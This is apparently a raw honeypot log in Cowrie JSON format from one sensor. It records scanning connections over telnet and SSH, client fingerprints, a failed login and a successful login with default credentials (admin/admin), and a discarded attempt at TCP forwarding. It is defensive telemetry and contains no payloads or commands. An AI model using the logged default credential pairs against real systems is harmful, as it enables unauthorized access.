{"eventid":"cowrie.session.closed","duration":31.1150062084198,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:35.391931Z","src_ip":"192.46.229.33","session":"feaf788023ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":57384,"dst_ip":"10.17.0.5","dst_port":23,"session":"ead2fc51731f","protocol":"telnet","message":"New connection: 192.46.229.33:57384 (10.17.0.5:23) [session: ead2fc51731f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:36.116095Z"}
{"eventid":"cowrie.session.closed","duration":33.50409770011902,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:36.855720Z","src_ip":"46.4.8.162","session":"69e9f5011cc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":57914,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7b99944a0ff","protocol":"telnet","message":"New connection: 192.46.229.33:57914 (10.17.0.5:23) [session: b7b99944a0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:37.190544Z"}
{"eventid":"cowrie.session.closed","duration":34.27597188949585,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:37.467654Z","src_ip":"188.166.220.49","session":"69819459fd5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":35356,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ef6ad2968b7","protocol":"telnet","message":"New connection: 46.4.8.162:35356 (159.203.135.109:23) [session: 3ef6ad2968b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:37.753155Z"}
{"eventid":"cowrie.session.closed","duration":37.599469900131226,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:38.104700Z","src_ip":"46.4.8.162","session":"1b9ed499c9bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":35370,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fcb5c2870a1","protocol":"telnet","message":"New connection: 46.4.8.162:35370 (159.203.135.109:23) [session: 2fcb5c2870a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:38.245761Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":58436,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0b141924d4d","protocol":"telnet","message":"New connection: 192.46.229.33:58436 (10.17.0.5:23) [session: b0b141924d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:39.172272Z"}
{"eventid":"cowrie.session.closed","duration":32.108182430267334,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:39.553153Z","src_ip":"46.4.8.162","session":"270557335a48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.985451459884644,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:39.662313Z","src_ip":"46.4.8.162","session":"f8224faa1dc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":35386,"dst_ip":"159.203.135.109","dst_port":23,"session":"818a91b43d10","protocol":"telnet","message":"New connection: 46.4.8.162:35386 (159.203.135.109:23) [session: 818a91b43d10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:39.753155Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":35400,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c16a52f50f5","protocol":"telnet","message":"New connection: 46.4.8.162:35400 (159.203.135.109:23) [session: 3c16a52f50f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:39.854752Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":58872,"dst_ip":"10.17.0.5","dst_port":23,"session":"0477b58b9795","protocol":"telnet","message":"New connection: 192.46.229.33:58872 (10.17.0.5:23) [session: 0477b58b9795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:40.147331Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":58892,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdae9d750977","protocol":"telnet","message":"New connection: 192.46.229.33:58892 (10.17.0.5:23) [session: bdae9d750977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:40.256004Z"}
{"eventid":"cowrie.session.closed","duration":35.61239004135132,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:40.316870Z","src_ip":"188.166.220.49","session":"198fd0b852ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.88376808166504,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:40.655151Z","src_ip":"188.166.220.49","session":"3593f7920703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":59308,"dst_ip":"10.17.0.5","dst_port":23,"session":"eec63598fb81","protocol":"telnet","message":"New connection: 192.46.229.33:59308 (10.17.0.5:23) [session: eec63598fb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:41.612195Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.166.220.49","src_port":56638,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c9596a2d541","protocol":"telnet","message":"New connection: 188.166.220.49:56638 (159.203.135.109:23) [session: 3c9596a2d541]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:44.419573Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":50586,"dst_ip":"159.203.135.109","dst_port":23,"session":"83edfed8b2a9","protocol":"telnet","message":"New connection: 46.4.8.162:50586 (159.203.135.109:23) [session: 83edfed8b2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:45.243713Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":50596,"dst_ip":"159.203.135.109","dst_port":23,"session":"c24ccc42795f","protocol":"telnet","message":"New connection: 46.4.8.162:50596 (159.203.135.109:23) [session: c24ccc42795f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:46.416172Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":60744,"dst_ip":"10.17.0.5","dst_port":23,"session":"0efb5ca7acf7","protocol":"telnet","message":"New connection: 192.46.229.33:60744 (10.17.0.5:23) [session: 0efb5ca7acf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:46.551808Z"}
{"eventid":"cowrie.session.closed","duration":33.97288703918457,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:47.706188Z","src_ip":"188.166.220.49","session":"c3d5aa19f3ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":32806,"dst_ip":"10.17.0.5","dst_port":23,"session":"70b226eb4f7b","protocol":"telnet","message":"New connection: 192.46.229.33:32806 (10.17.0.5:23) [session: 70b226eb4f7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:47.795510Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":60856,"dst_ip":"10.17.0.5","dst_port":23,"session":"514bebffb1d7","protocol":"telnet","message":"New connection: 192.46.229.33:60856 (10.17.0.5:23) [session: 514bebffb1d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:48.309849Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":33090,"dst_ip":"10.17.0.5","dst_port":23,"session":"d46789278904","protocol":"telnet","message":"New connection: 192.46.229.33:33090 (10.17.0.5:23) [session: d46789278904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:48.372215Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":50606,"dst_ip":"159.203.135.109","dst_port":23,"session":"68f8d89bc882","protocol":"telnet","message":"New connection: 46.4.8.162:50606 (159.203.135.109:23) [session: 68f8d89bc882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:48.386444Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":50610,"dst_ip":"159.203.135.109","dst_port":23,"session":"e11f37684fa5","protocol":"telnet","message":"New connection: 46.4.8.162:50610 (159.203.135.109:23) [session: e11f37684fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:49.450690Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":50616,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf6d03bc1ed4","protocol":"telnet","message":"New connection: 46.4.8.162:50616 (159.203.135.109:23) [session: cf6d03bc1ed4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:49.645474Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":33548,"dst_ip":"10.17.0.5","dst_port":23,"session":"730124296545","protocol":"telnet","message":"New connection: 192.46.229.33:33548 (10.17.0.5:23) [session: 730124296545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:50.612706Z"}
{"eventid":"cowrie.session.closed","duration":31.042625427246094,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:51.642473Z","src_ip":"192.46.229.33","session":"4fc68659eca2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.72744584083557,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:52.214012Z","src_ip":"46.4.8.162","session":"b2df925f57e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.406952381134033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:52.639989Z","src_ip":"192.46.229.33","session":"5606f8bb3ea3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634026050567627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:52.698644Z","src_ip":"192.46.229.33","session":"4d378c4e3804","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":34302,"dst_ip":"10.17.0.5","dst_port":23,"session":"047fcaaf5799","protocol":"telnet","message":"New connection: 192.46.229.33:34302 (10.17.0.5:23) [session: 047fcaaf5799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:53.198684Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36880,"dst_ip":"159.203.135.109","dst_port":22,"session":"f827f946a22e","protocol":"ssh","message":"New connection: 159.203.92.129:36880 (159.203.135.109:22) [session: f827f946a22e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:53.819004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:53.823812Z","src_ip":"159.203.92.129","session":"f827f946a22e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:53.828838Z","src_ip":"159.203.92.129","session":"f827f946a22e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"passw0rd!","message":"login attempt [admin/passw0rd!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:53.841547Z","src_ip":"159.203.92.129","session":"f827f946a22e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.85870170593262,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:54.018550Z","src_ip":"188.166.220.49","session":"b4cb76643c71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.710026264190674,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:54.135081Z","src_ip":"188.166.220.49","session":"cfbc68b7482c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.802563905715942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:54.234998Z","src_ip":"192.46.229.33","session":"39a1fe62d4fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16360,"dst_ip":"10.17.0.5","dst_port":22,"session":"dccefa7f488b","protocol":"ssh","message":"New connection: 87.251.64.176:16360 (10.17.0.5:22) [session: dccefa7f488b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:54.436451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:54.441661Z","src_ip":"87.251.64.176","session":"dccefa7f488b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:54.543904Z","src_ip":"87.251.64.176","session":"dccefa7f488b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:54.837159Z","src_ip":"87.251.64.176","session":"dccefa7f488b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:54.847234Z","src_ip":"159.203.92.129","session":"f827f946a22e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:54.969824Z","session":"dccefa7f488b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:55.070108Z","src_ip":"87.251.64.176","session":"dccefa7f488b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.419512033462524,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:55.144404Z","src_ip":"46.4.8.162","session":"01925db984a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.0765426158905,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:55.151841Z","src_ip":"46.4.8.162","session":"a36bc4729489","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.139928340911865,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:55.157465Z","src_ip":"46.4.8.162","session":"6e3956f50440","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:55.171910Z","src_ip":"87.251.64.176","session":"dccefa7f488b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44782,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f6f4be1f10f","protocol":"telnet","message":"New connection: 46.4.8.162:44782 (159.203.135.109:23) [session: 9f6f4be1f10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:55.444640Z"}
{"eventid":"cowrie.session.closed","duration":30.33907198905945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:56.649815Z","src_ip":"192.46.229.33","session":"779c405fdc2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.576815128326416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:56.702083Z","src_ip":"192.46.229.33","session":"67e45e9d4c3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.636561155319214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:57.785624Z","src_ip":"192.46.229.33","session":"7f2f3d6c8a95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.07970190048218,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:58.401810Z","src_ip":"46.4.8.162","session":"2036b4372728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.178020000457764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:58.684947Z","src_ip":"192.46.229.33","session":"0966b457cfb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44792,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3f010e09054","protocol":"telnet","message":"New connection: 46.4.8.162:44792 (159.203.135.109:23) [session: e3f010e09054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:58.693791Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.46.229.33","src_port":35786,"dst_ip":"10.17.0.5","dst_port":23,"session":"159f7d3f9138","protocol":"telnet","message":"New connection: 192.46.229.33:35786 (10.17.0.5:23) [session: 159f7d3f9138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:59.430604Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44804,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab2b62241f32","protocol":"telnet","message":"New connection: 46.4.8.162:44804 (159.203.135.109:23) [session: ab2b62241f32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:17:59.919967Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44808,"dst_ip":"159.203.135.109","dst_port":23,"session":"78cb6bbbd61b","protocol":"telnet","message":"New connection: 46.4.8.162:44808 (159.203.135.109:23) [session: 78cb6bbbd61b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:00.258501Z"}
{"eventid":"cowrie.session.closed","duration":30.461836338043213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:00.596884Z","src_ip":"192.46.229.33","session":"4f9b29c8c90f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.4.8.162","src_port":44834,"dst_ip":"159.203.135.109","dst_port":23,"session":"9238cdbb4d98","protocol":"telnet","message":"New connection: 46.4.8.162:44834 (159.203.135.109:23) [session: 9238cdbb4d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:01.106757Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":35800,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7b864ee7323","protocol":"telnet","message":"New connection: 35.187.38.22:35800 (159.203.135.109:23) [session: e7b864ee7323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:01.300510Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":35804,"dst_ip":"159.203.135.109","dst_port":23,"session":"596e3f1d50c6","protocol":"telnet","message":"New connection: 35.187.38.22:35804 (159.203.135.109:23) [session: 596e3f1d50c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:01.307662Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.38.22","src_port":36180,"dst_ip":"159.203.135.109","dst_port":23,"session":"60c9c3f38055","protocol":"telnet","message":"New connection: 35.187.38.22:36180 (159.203.135.109:23) [session: 60c9c3f38055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T18:18:01.379983Z"}
